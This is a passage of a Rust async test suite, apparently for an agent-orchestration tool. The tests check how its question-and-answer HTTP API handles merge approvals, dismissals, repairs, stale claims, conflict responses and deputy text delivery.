12662        let stale_driver = state.clone();
12663        fx.questions().put(&mut q).unwrap();
12664        let path = fx
12665            .home
12666            .path()
12667            .join("questions")
12668            .join(format!("{}.json", q.id));
12669        let mut legacy = serde_json::to_value(&q).unwrap();
12670        legacy["schema"] = 9.into();
12671        legacy.as_object_mut().unwrap().remove("merge_target");
12672        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12673
12674        // POST without GET tests legacy upgrade and validation at the actual
12675        // entry point, rather than constructing a modern card in the test.
12676        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12677        let answer_path = format!("/api/questions/{}/answer", q.id);
12678        let res = fx.post(&answer_path, Some(&body)).await;
12679        assert_eq!(res.status, 200, "{}", res.body);
12680        let disk = fx.questions().get(&q.id).unwrap();
12681        assert_eq!(
12682            disk.resolution().as_deref(),
12683            Some(crate::merge_decision::DISMISS)
12684        );
12685        assert!(disk.detail.starts_with("Original review evidence"));
12686        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12687        assert_eq!(retired.status, RunStatus::Superseded);
12688        assert_eq!(
12689            serde_json::to_value(&retired.pr).unwrap(),
12690            serde_json::to_value(&state.pr).unwrap()
12691        );
12692        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12693        assert!(!crate::merge_decision::resumable_hold(&retired));
12694        assert!(fx.queue().list().is_empty());
12695        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12696        // A restarted server re-reads the persisted pending list.
12697        let addr = Fixture::serve(
12698            fx.home.path(),
12699            PathBuf::from("/repo/magi"),
12700            launch_idle,
12701            None,
12702        )
12703        .await;
12704        let reconnected = Fixture {
12705            home: fx.home,
12706            addr,
12707        };
12708        let listed = reconnected.get("/api/questions").await.json();
12709        assert!(
12710            listed
12711                .as_array()
12712                .unwrap()
12713                .iter()
12714                .all(|q| q["status"] != "open")
12715        );
12716        assert_eq!(listed[0]["id"], q.id, "history remains available");
12717        assert_eq!(
12718            reconnected.get("/api/health").await.json()["questions_open"],
12719            0
12720        );
12721        assert_eq!(
12722            reconnected
12723                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12724                .await
12725                .status,
12726            409
12727        );
12728        // A late waiter cannot turn the old answer into a new decision.
12729        assert!(
12730            reconnected
12731                .questions()
12732                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12733                .is_err()
12734        );
12735        // The same guard used by claims, repair and publication rejects a
12736        // saved in-memory driver as well as the persisted terminal record.
12737        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12738    }
12739
12740    #[tokio::test]
12741    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12742        let fx = Fixture::start().await;
12743        let mut state = obsolete_approval_state();
12744        state.status = RunStatus::Landing;
12745        state.driver_exited = true;
12746        let mut q = Question::new(
12747            state.id.clone(),
12748            crate::land::APPROVAL_NODE.into(),
12749            "land".into(),
12750            "Obsolete approval".into(),
12751            String::new(),
12752            vec!["merge".into(), "hold".into()],
12753        );
12754        state.land_approval = Some(crate::run::LandApproval {
12755            question: q.id.clone(),
12756            head: "head".into(),
12757        });
12758        state.save_under(fx.home.path()).unwrap();
12759        fx.questions().put(&mut q).unwrap();
12760        let mut task = Task::new(
12761            "Owner".into(),
12762            "Original instruction".into(),
12763            state.repo.clone(),
12764            Source::Human,
12765        );
12766        task.runs = vec![state.id.clone(), "later-run".into()];
12767        fx.queue().put(&mut task).unwrap();
12768        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12769        let claim = fx.queue().claim(&task.id).unwrap();
12770        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12771        let path = format!("/api/questions/{}/answer", q.id);
12772        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12773        assert!(fx.questions().get(&q.id).unwrap().status.open());
12774        drop(claim);
12775        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12776        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12777        assert!(fx.questions().get(&q.id).unwrap().status.open());
12778        drop(publication);
12779        // Unknown liveness and armed auto-merge both fail without settling.
12780        state.driver_exited = false;
12781        state.driver_pid = None;
12782        state.driver_claimed = None; // No durable proof of an unstarted execution.
12783        state.save_under(fx.home.path()).unwrap();
12784        assert_eq!(
12785            state.liveness_under(fx.home.path(), false),
12786            crate::run::Liveness::Unknown
12787        );
12788
12789        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12790        state.driver_exited = true;
12791        state.land_armed_head = Some("head".into());
12792        state.save_under(fx.home.path()).unwrap();
12793        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12794        state.land_armed_head = None;
12795        state.save_under(fx.home.path()).unwrap();
12796        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12797        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12798        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12799    }
12800
12801    #[tokio::test]
12802    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12803        let fx = Fixture::start().await;
12804        let mut state = obsolete_approval_state();
12805        state.status = RunStatus::Landing;
12806        state.driver_exited = true;
12807        let mut q = Question::new(
12808            state.id.clone(),
12809            crate::land::APPROVAL_NODE.into(),
12810            "land".into(),
12811            "Obsolete approval".into(),
12812            String::new(),
12813            vec!["merge".into(), "hold".into()],
12814        );
12815        state.land_approval = Some(crate::run::LandApproval {
12816            question: q.id.clone(),
12817            head: "head".into(),
12818        });
12819        state.save_under(fx.home.path()).unwrap();
12820        fx.questions().put(&mut q).unwrap();
12821        let mut task = Task::new(
12822            "Owner".into(),
12823            "Original instruction".into(),
12824            state.repo.clone(),
12825            Source::Human,
12826        );
12827        task.runs.push(state.id.clone());
12828        task.status = TaskStatus::Parked;
12829        fx.queue().put(&mut task).unwrap();
12830        // Model a crash after the run stop was persisted but before the queue
12831        // and answered question were flushed. Retrying must finish, not resume.
12832        state.merge_decision = Some(crate::merge_decision::Decision {
12833            question: q.id.clone(),
12834            target: crate::merge_decision::Target {
12835                pr: state.pr.as_ref().unwrap().url.clone(),
12836                head: "head".into(),
12837                language: "ja".into(),
12838            },
12839            choice: crate::merge_decision::DISMISS.into(),
12840            closed: false,
12841            replacement_run: None,
12842            replacement_pr: None,
12843        });
12844        state.status = RunStatus::Superseded;
12845        state.save_under(fx.home.path()).unwrap();
12846        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12847        let path = format!("/api/questions/{}/answer", q.id);
12848        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12849        let done = fx.queue().get(&task.id).unwrap();
12850        assert_eq!(done.status, TaskStatus::Done);
12851        assert_eq!(done.runs, task.runs);
12852        assert_eq!(done.instruction, task.instruction);
12853        assert!(done.action_applied(&q.id));
12854        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12855        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12856        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12857    }
12858
12859    #[tokio::test]
12860    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12861        let home = TempDir::new().unwrap();
12862        let ui = Arc::new(Ui::new(
12863            Queue::at(home.path().join("queue")),
12864            Questions::at(home.path().join("questions")),
12865            Talks::at(home.path().join("talks")),
12866            home.path().join("runs"),
12867            home.path().to_owned(),
12868            home.path().to_owned(),
12869        ));
12870        let talks = &ui.talks;
12871        let chat =
12872            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12873        let mut q = Question::new(
12874            "run".into(),
12875            crate::land::APPROVAL_NODE.into(),
12876            "land".into(),
12877            "Merge?".into(),
12878            String::new(),
12879            vec!["merge".into(), "hold".into()],
12880        );
12881        q.routed_task = Some("task".into());
12882        q.routed_chat = Some(chat.id.clone());
12883        q.merge_target = Some(crate::merge_decision::Target {
12884            pr: "https://example.test/pull/1".into(),
12885            head: "head-a".into(),
12886            language: "en".into(),
12887        });
12888        ui.questions.put(&mut q).unwrap();
12889        let send = |body| {
12890            question_answer(
12891                State(ui.clone()),
12892                Path(q.id.clone()),
12893                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12894            )
12895        };
12896        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12897        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12898        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12899        assert!(send(wrong_chat).await.is_err());
12900        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12901        assert!(send(stale).await.is_err());
12902        assert!(ui.questions.get(&q.id).unwrap().status.open());
12903        assert!(send(button.clone()).await.is_ok());
12904        assert_eq!(
12905            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12906            Some("merge")
12907        );
12908        assert!(send(button).await.is_err());
12909    }
12910
12911    #[tokio::test]
12912    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12913        let home = TempDir::new().unwrap();
12914        let ui = Arc::new(Ui::new(
12915            Queue::at(home.path().join("queue")),
12916            Questions::at(home.path().join("questions")),
12917            Talks::at(home.path().join("talks")),
12918            home.path().join("runs"),
12919            home.path().to_owned(),
12920            home.path().to_owned(),
12921        ));
12922        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12923            let mut q = Question::new(
12924                "run".into(),
12925                crate::land::APPROVAL_NODE.into(),
12926                "land".into(),
12927                "Merge?".into(),
12928                String::new(),
12929                vec!["merge".into(), choice.into()],
12930            );
12931            q.routed_task = Some("task".into());
12932            q.merge_target = Some(crate::merge_decision::Target {
12933                pr: "https://example.test/pull/1".into(),
12934                head: "head-a".into(),
12935                language: "en".into(),
12936            });
12937            ui.questions.put(&mut q).unwrap();
12938            let answer = |c: &str| {
12939                question_answer(
12940                    State(ui.clone()),
12941                    Path(q.id.clone()),
12942                    Ok(Json(
12943                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12944                            .unwrap(),
12945                    )),
12946                )
12947            };
12948            let _ = answer(choice).await.unwrap();
12949            assert_eq!(
12950                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12951                Some(choice)
12952            );
12953        }
12954    }
12955
12956    #[tokio::test]
12957    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12958        let home = TempDir::new().unwrap();
12959        let ui = Arc::new(Ui::new(
12960            Queue::at(home.path().join("queue")),
12961            Questions::at(home.path().join("questions")),
12962            Talks::at(home.path().join("talks")),
12963            home.path().join("runs"),
12964            home.path().to_owned(),
12965            home.path().to_owned(),
12966        ));
12967        let mut q = Question::new(
12968            "run".into(),
12969            crate::github_text::ASK_NODE.into(),
12970            "posting-gate".into(),
12971            "Post?".into(),
12972            String::new(),
12973            vec!["use fallback".into()],
12974        );
12975        q.routed_task = Some("task".into());
12976        ui.questions.put(&mut q).unwrap();
12977        let sent = question_answer(
12978            State(ui.clone()),
12979            Path(q.id.clone()),
12980            Ok(Json(
12981                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12982                    .unwrap(),
12983            )),
12984        )
12985        .await;
12986        let _ = sent.unwrap();
12987        assert_eq!(
12988            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12989            Some("use fallback")
12990        );
12991    }
12992
12993    #[tokio::test]
12994    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12995        let fx = Fixture {
12996            home: TempDir::new().unwrap(),
12997            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12998        };
12999        for choice in [
13000            crate::land::HOLD,
13001            crate::land::REPAIR,
13002            crate::land::APPROVE,
13003            crate::merge_decision::WITHDRAW,
13004            "reimplement:beta",
13005        ] {
13006            let mut q = Question::new(
13007                "old-run".into(),
13008                crate::land::APPROVAL_NODE.into(),
13009                "land".into(),
13010                "Decision".into(),
13011                "Review findings".into(),
13012                vec![
13013                    "merge".into(),
13014                    "hold".into(),
13015                    crate::land::REPAIR.into(),
13016                    crate::merge_decision::WITHDRAW.into(),
13017                    "reimplement:beta".into(),
13018                ],
13019            );
13020            q.merge_target = Some(crate::merge_decision::Target {
13021                pr: "https://github.com/example/repo/pull/42".into(),
13022                head: "exact-reviewed-head".into(),
13023                language: "ja".into(),
13024            });
13025            q.consult = Some(ask::ChatConsult {
13026                talk: "another-conversation".into(),
13027                at: jiff::Timestamp::now(),
13028            });
13029            fx.questions().put(&mut q).unwrap();
13030            let ui = Arc::new(Ui::new(
13031                fx.queue(),
13032                fx.questions(),
13033                fx.talks(),
13034                fx.runs(),
13035                fx.home.path().into(),
13036                std::path::PathBuf::from("."),
13037            ));
13038            let response = question_answer(
13039                State(ui.clone()),
13040                Path(q.id.clone()),
13041                Ok(Json(NewAnswer {
13042                    choice: Some(choice.into()),
13043                    text: None,
13044                    ..Default::default()
13045                })),
13046            )
13047            .await
13048            .unwrap();
13049            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13050            let disk = fx.questions().get(&q.id).unwrap();
13051            assert_eq!(disk.merge_target, q.merge_target);
13052            assert_eq!(disk.consult, q.consult);
13053            assert_eq!(disk.resolution().as_deref(), Some(choice));
13054            assert!(
13055                question_answer(
13056                    State(ui),
13057                    Path(q.id.clone()),
13058                    Ok(Json(NewAnswer {
13059                        choice: Some("merge".into()),
13060                        text: None,
13061                        ..Default::default()
13062                    }))
13063                )
13064                .await
13065                .is_err(),
13066                "an already settled decision cannot turn into merge approval"
13067            );
13068        }
13069    }
13070
13071    #[tokio::test]
13072    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13073        let fx = Fixture {
13074            home: TempDir::new().unwrap(),
13075            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13076        };
13077        let mut state = crate::land::tests::repair_state(true, true);
13078        state.status = RunStatus::Landing;
13079        state.parked = true;
13080        state.driver_exited = true;
13081        let mut task = Task::new(
13082            "Existing PR owner".into(),
13083            state.instruction.clone(),
13084            state.repo.clone(),
13085            Source::Human,
13086        );
13087        task.runs.push(state.id.clone());
13088        task.status = TaskStatus::Parked;
13089        fx.queue().put(&mut task).unwrap();
13090        let mut q = Question::new(
13091            state.id.clone(),
13092            crate::land::APPROVAL_NODE.into(),
13093            "land".into(),
13094            "Contested merge".into(),
13095            "Original evidence".into(),
13096            vec!["merge".into(), "hold".into()],
13097        );
13098        state.land_approval = Some(crate::run::LandApproval {
13099            question: q.id.clone(),
13100            head: "reviewed-head".into(),
13101        });
13102        state.save_under(fx.home.path()).unwrap();
13103        fx.questions().put(&mut q).unwrap();
13104        // A later repair answer on this old card supersedes this manual hold.
13105        task.hold_manual(Some("Pause this PR".into()));
13106        fx.queue().put(&mut task).unwrap();
13107        // POST directly, without a preceding GET: validation must see the
13108        // same durable upgrade that the card, CLI and chat see.
13109        let ui = Arc::new(Ui::new(
13110            fx.queue(),
13111            fx.questions(),
13112            fx.talks(),
13113            fx.runs(),
13114            fx.home.path().to_path_buf(),
13115            state.repo.clone(),
13116        ));
13117        let response = question_answer(
13118            State(ui),
13119            Path(q.id.clone()),
13120            Ok(Json(NewAnswer {
13121                choice: Some(crate::land::REPAIR.into()),
13122                text: None,
13123                ..Default::default()
13124            })),
13125        )
13126        .await
13127        .unwrap();
13128        assert_eq!(response.0.question.id, q.id);
13129        let upgraded = fx.questions().get(&q.id).unwrap();
13130        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13131        assert!(upgraded.detail.starts_with("Original evidence"));
13132        let claim = fx.queue().claim(&task.id).unwrap();
13133        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13134        assert!(
13135            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13136            "an existing driver keeps its claim"
13137        );
13138        drop(claim);
13139        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13140        let resumed = fx.queue().get(&task.id).unwrap();
13141        assert_eq!(
13142            resumed
13143                .resume_override
13144                .as_ref()
13145                .unwrap()
13146                .pinned_run
13147                .as_deref(),
13148            Some(state.id.as_str())
13149        );
13150        assert!(resumed.status.runnable());
13151        assert_eq!(resumed.instruction, task.instruction);
13152        assert_eq!(resumed.runs, task.runs);
13153        assert!(resumed.action_applied(&q.id));
13154        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13155        assert_eq!(fx.queue().list().len(), 1);
13156        assert_eq!(
13157            fx.queue().get(&task.id).unwrap().resume_override,
13158            resumed.resume_override
13159        );
13160        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13161        assert!(
13162            disk.merge_repairs.is_empty(),
13163            "only the claimed run driver may execute repair"
13164        );
13165        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13166    }
13167
13168    #[tokio::test]
13169    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13170        let fx = Fixture::start().await;
13171        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13172        let path = format!("/api/questions/{id}/answer");
13173
13174        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13175        assert_eq!(res.status, 200, "{}", res.body);
13176        let body = res.json();
13177        assert_eq!(body["status"], "answered");
13178        assert_eq!(body["answer"]["choice"], "Redis");
13179
13180        // Answered from the terminal in between the list and the tap: the UI
13181        // must be able to tell this from a bad request, so it can show the
13182        // recorded answer instead of an error.
13183        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13184        assert_eq!(again.status, 409, "{}", again.body);
13185        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13186    }
13187
13188    #[tokio::test]
13189    async fn fresh_api_answers_survive_task_inquiry_migration() {
13190        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13191        for migrate_first in [false, true] {
13192            let fx = Fixture::start().await;
13193            let mut task = Task::new(
13194                "work".into(),
13195                "work".into(),
13196                PathBuf::from("/repo/magi"),
13197                Source::Human,
13198            );
13199            task.runs.push("run-a".into());
13200            fx.queue().put(&mut task).unwrap();
13201            let mut q = Question::new(
13202                "run-a".into(),
13203                "implement".into(),
13204                "impl-A".into(),
13205                "Keep held?".into(),
13206                String::new(),
13207                vec!["hold".into()],
13208            );
13209            q.actions.insert("hold".into(), ChoiceAction::Hold);
13210            fx.questions().put(&mut q).unwrap();
13211            if migrate_first {
13212                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13213            }
13214            let response = fx
13215                .post(
13216                    &format!("/api/questions/{}/answer", q.id),
13217                    Some(r#"{"choice":"hold"}"#),
13218                )
13219                .await;
13220            assert_eq!(response.status, 200, "{}", response.body);
13221            for _ in 0..2 {
13222                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13223                let source = fx.questions().get(&q.id).unwrap();
13224                assert_eq!(source.resolution().as_deref(), Some("hold"));
13225                let decision = Outbox::at(fx.home.path())
13226                    .get(&q.id)
13227                    .unwrap()
13228                    .decision
13229                    .unwrap();
13230                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13231                assert_eq!(decision.source_answer_at, source.answered_at);
13232                assert_eq!(decision.status, Status::Queued);
13233            }
13234            assert_eq!(
13235                fx.post(
13236                    &format!("/api/questions/{}/answer", q.id),
13237                    Some(r#"{"choice":"hold"}"#)
13238                )
13239                .await
13240                .status,
13241                409
13242            );
13243        }
13244    }
13245
13246    #[tokio::test]
13247    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13248        let home = tempfile::tempdir().unwrap();
13249        let ui = delta_test_ui(home.path());
13250        let mut q = Question::new(
13251            "task".into(),
13252            crate::land::APPROVAL_NODE.into(),
13253            "land".into(),
13254            "Explain?".into(),
13255            String::new(),
13256            vec!["hold".into()],
13257        );
13258        q.deputy = Some(ask::Deputy::new("context".into()));
13259        ui.questions.put(&mut q).unwrap();
13260        let mut cfg = stub_config();
13261        cfg.daemon.max_deputies = 0;
13262        let mut status = crate::daemon::Status::new();
13263        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13264        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13265        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13266        let error = question_say(
13267            State(ui.clone()),
13268            Path(q.id.clone()),
13269            Ok(Json(NewSay {
13270                body: "Explain the findings".into(),
13271            })),
13272        )
13273        .await
13274        .unwrap_err();
13275        assert_eq!(
13276            error.text_reason,
13277            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13278        );
13279        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13280
13281        let mut text = Question::new(
13282            "task".into(),
13283            "ask".into(),
13284            "operator".into(),
13285            "Which name?".into(),
13286            String::new(),
13287            vec![],
13288        );
13289        ui.questions.put(&mut text).unwrap();
13290        let Json(view) = question_answer(
13291            State(ui.clone()),
13292            Path(text.id.clone()),
13293            Ok(Json(NewAnswer {
13294                choice: None,
13295                text: Some("chosen name".into()),
13296                ..Default::default()
13297            })),
13298        )
13299        .await
13300        .unwrap();
13301        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13302        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13303    }
13304
13305    #[tokio::test]
13306    async fn question_text_handler_admission_without_transport() {
13307        let home = tempfile::tempdir().unwrap();
13308        let ui = delta_test_ui(home.path());
13309        let mut q = Question::new(
13310            "task".into(),
13311            crate::land::APPROVAL_NODE.into(),
13312            "land".into(),
13313            "May this PR merge?".into(),
13314            String::new(),
13315            vec!["hold".into()],
13316        );
13317        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13318        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13319        ui.questions.put(&mut q).unwrap();
13320        let say = || {
13321            Ok(Json(NewSay {
13322                body: "Explain the findings".into(),
13323            }))
13324        };
13325        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13326            .await
13327            .unwrap_err();
13328        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13329        let response = rejected.into_response();
13330        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13331            .await
13332            .unwrap();
13333        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13334        assert_eq!(body["code"], "question_text_unavailable");
13335        assert_eq!(body["reason"], "deputy_exhausted");
13336        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13337        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13338        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13339        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13340            .await
13341            .unwrap();
13342        assert_eq!(view.text_delivery.state, "live");
13343        assert!(view.question.waiter.is_none());
13344        assert!(view.question.cwd.is_none());
13345        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13346        ui.questions.drop_lease(&q.id);
13347        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13348            .await
13349            .unwrap_err();
13350        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13351        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13352        let _ = question_answer(
13353            State(ui.clone()),
13354            Path(q.id.clone()),
13355            Ok(Json(NewAnswer {
13356                choice: Some("hold".into()),
13357                text: None,
13358                ..Default::default()
13359            })),
13360        )
13361        .await
13362        .unwrap();
13363        assert_eq!(
13364            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13365            Some("hold")
13366        );
13367    }
13368
13369    #[tokio::test]
13370    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13371        let fx = Fixture::start().await;
13372        let store = fx.questions();
13373        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13374        store
13375            .update(&id, |q| {
13376                q.node = crate::land::APPROVAL_NODE.to_owned();
13377                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13378                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13379                Ok(())
13380            })
13381            .unwrap();
13382        let path = format!("/api/questions/{id}/say");
13383        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13384        assert_eq!(refused.status, 422, "{}", refused.body);
13385        assert!(
13386            refused.json()["error"]
13387                .as_str()
13388                .unwrap()
13389                .contains("deputy_exhausted")
13390        );
13391        assert!(store.get(&id).unwrap().thread.is_empty());
13392
13393        // A final live deputy is usable even with no ordinary waiter/cwd.
13394        store.beat(&id, ask::WaiterKind::Deputy);
13395        let view = fx.get("/api/questions").await.json();
13396        assert_eq!(view[0]["text_delivery"]["state"], "live");
13397        let accepted = fx
13398            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13399            .await;
13400        assert_eq!(accepted.status, 200, "{}", accepted.body);
13401        let before = std::fs::read(store.path_of(&id)).unwrap();
13402
13403        // The recipient exits between rendering and sending. Rejection must
13404        // preserve previously accepted text, the answer and delivery cursor.
13405        store.drop_lease(&id);
13406        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13407        assert_eq!(refused.status, 422, "{}", refused.body);
13408        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13409        let held = fx
13410            .post(
13411                &format!("/api/questions/{id}/answer"),
13412                Some(r#"{"choice":"hold"}"#),
13413            )
13414            .await;
13415        assert_eq!(held.status, 200, "{}", held.body);
13416        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13417    }
13418
13419    #[tokio::test]
13420    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13421        let repo = tempfile::tempdir().unwrap();
13422        let mut cfg = stub_config();
13423        cfg.daemon.max_deputies = 0;
13424        std::fs::write(
13425            repo.path().join("magi.toml"),
13426            toml::to_string(&cfg).unwrap(),
13427        )
13428        .unwrap();
13429        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13430        let mut status = crate::daemon::Status::new();
13431        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13432        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13433        let id = ask(&fx, "Explain?", &["hold"]);
13434        fx.questions()
13435            .update(&id, |q| {
13436                q.node = crate::land::APPROVAL_NODE.into();
13437                q.deputy = Some(ask::Deputy::new("context".into()));
13438                q.deputy.as_mut().unwrap().agent = "stub".into();
13439                Ok(())
13440            })
13441            .unwrap();
13442        cfg.daemon.max_deputies = 1;
13443        std::fs::write(
13444            repo.path().join("magi.toml"),
13445            toml::to_string(&cfg).unwrap(),
13446        )
13447        .unwrap();
13448        let view = fx.get("/api/questions").await.json();
13449        assert_eq!(view[0]["deputies_enabled"], true);
13450        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13451        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13452        let res = fx
13453            .post(
13454                &format!("/api/questions/{id}/say"),
13455                Some(r#"{"body":"Please explain"}"#),
13456            )
13457            .await;
13458        assert_eq!(res.status, 422, "{}", res.body);
13459        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13460    }
13461
13462    #[tokio::test]
13463    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13464        let fx = Fixture::start().await;
13465        let id = ask(&fx, "No seat", &[]);
13466        let store = fx.questions();
13467        let before = std::fs::read(store.path_of(&id)).unwrap();
13468        let res = fx
13469            .post(
13470                &format!("/api/questions/{id}/say"),
13471                Some(r#"{"body":"hello"}"#),
13472            )
13473            .await;
13474        assert_eq!(res.status, 422, "{}", res.body);
13475        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13476        let res = fx
13477            .post(
13478                &format!("/api/questions/{id}/answer"),
13479                Some(r#"{"text":"hello"}"#),
13480            )
13481            .await;
13482        assert_eq!(res.status, 200, "{}", res.body);
13483        assert_eq!(
13484            store.get(&id).unwrap().resolution().as_deref(),
13485            Some("hello")
13486        );
13487    }
13488
13489    #[tokio::test]
13490    async fn saying_something_appends_a_turn_without_answering() {
13491        let fx = Fixture::start().await;
13492        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13493        fx.questions().beat(&id, ask::WaiterKind::Asker);
13494        let path = format!("/api/questions/{id}/say");
13495
13496        let res = fx
13497            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13498            .await;
13499        assert_eq!(res.status, 200, "{}", res.body);
13500        let body = res.json();
13501        assert_eq!(body["status"], "open", "talking back is not a decision");
13502        assert_eq!(body["answer"], Value::Null);
13503        assert_eq!(body["thread"][0]["who"], "operator");
13504        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13505        assert_eq!(body["waiting_on_agent"], true);
13506        // Still open, still counted, still exactly one question.
13507        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13508    }
13509
13510    #[tokio::test]
13511    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13512        let fx = Fixture::start().await;
13513        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13514
13515        let list = fx.get("/api/questions").await.json();
13516        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13517
13518        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13519        assert_eq!(res.status, 409, "{}", res.body);
13520        let q = fx.questions().get(&id).unwrap();
13521        assert!(q.status.open());
13522        assert!(q.consult.is_none());
13523    }
13524
13525    #[tokio::test]
13526    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13527        let fx = Fixture::start().await;
13528        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13529        let cfg = Config {
13530            agents: vec![crate::config::AgentSpec {
13531                id: "mock".to_owned(),
